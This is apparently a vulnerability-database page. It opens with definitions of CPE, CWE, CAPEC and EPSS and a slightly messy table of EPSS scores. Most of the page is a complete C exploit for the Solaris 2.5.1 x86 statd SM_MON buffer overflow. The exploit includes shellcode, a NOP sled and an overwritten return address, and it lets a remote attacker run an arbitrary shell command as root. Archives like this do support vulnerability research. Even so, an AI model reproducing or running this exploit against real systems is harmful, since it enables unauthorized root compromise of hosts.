CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
0.2%
–
2023-08-06
–
–
–
0.2%
–
2024-01-28
–
–
–
0.2%
–
2024-02-11
–
–
–
0.28%
–
2024-06-02
–
–
–
0.28%
–
2024-06-09
–
–
–
0.28%
–
2024-12-22
–
–
–
0.28%
–
2025-02-16
–
–
–
0.28%
–
2025-01-19
–
–
–
0.28%
–
2025-02-16
–
–
–
0.28%
–
2025-03-18
–
–
–
–
11.88%
2025-03-18
–
–
–
–
11.88,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/127/info
Statd is the RPC NFS status daemon. It is used to communicate status information to other services or host.
The version of statd shipped with many unix implementations contains a buffer overflow condition. This overflow condition exists in the handling of 'SM_MON' RPC requests.
Any attacker to successfully exploit this vulnerability would gain root privileges on the target host.
*/
/*
statd remote overflow, solaris 2.5.1 x86
there is a patch for statd in solaris 2.5, well, it looks like
they check only for '/' characters and they left overflow there ..
nah, it's solaris
usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"
# remember that statd is standalone daemon
Please do not distribute.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>
#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;
/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0
1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
char nop[]="\x90";
char code[4096];
void usage(char *s) {
printf("Usage: %s host [cmd]\n", s);
exit(0);
}
main(int argc, char *argv[]) {
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i, noplen=strlen(nop);
char *ptr=code;
if (argc < 2)
usage(argv[0]);
if (argc == 3)
cmd[2]=argv[2];
for (i=0; i< sizeof(code); i++)
*ptr++=nop[i % noplen];
strcpy(&code[750], asmcode); /* XXX temp. */
ptr=code+strlen(code);
for (i=0; i<=strlen(cmd[0]); i++)
*ptr++=cmd[0][i]-1;
for (i=0; i<=strlen(cmd[1]); i++)
*ptr++=cmd[1][i]-1;
for (i=0; i<=strlen(cmd[2]); i++)
*ptr++=cmd[2][i]-1;
ptr=code+BUFSIZE-(ADDRS<<2);
for (i=0; i<ADDRS; i++, ptr+=4)
*(int *)ptr=ADDRP;
*ptr=0;
printf("strlen = %d\n", strlen(code));
memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name="localhost";
monreq.mon_id.my_id.my_prog=0;
monreq.mon_id.my_id.my_vers=0;
monreq.mon_id.my_id.my_proc=0;
monreq.mon_id.mon_name=code;
if ((hp=gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family=AF_INET;
target.sin_addr.s_addr=*(u_long *)hp->h_addr;
target.sin_port=0; /* ask portmap */
sd=RPC_ANYSOCK;
tm.tv_sec=10;
tm.tv_usec=0;
if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
(char *)&monres, tm);
if (stat != RPC_SUCCESS)
clnt_perror(cl, "clnt_call");
else
printf("stat_res = %d.\n", monres.res_stat);
clnt_destroy(cl);
}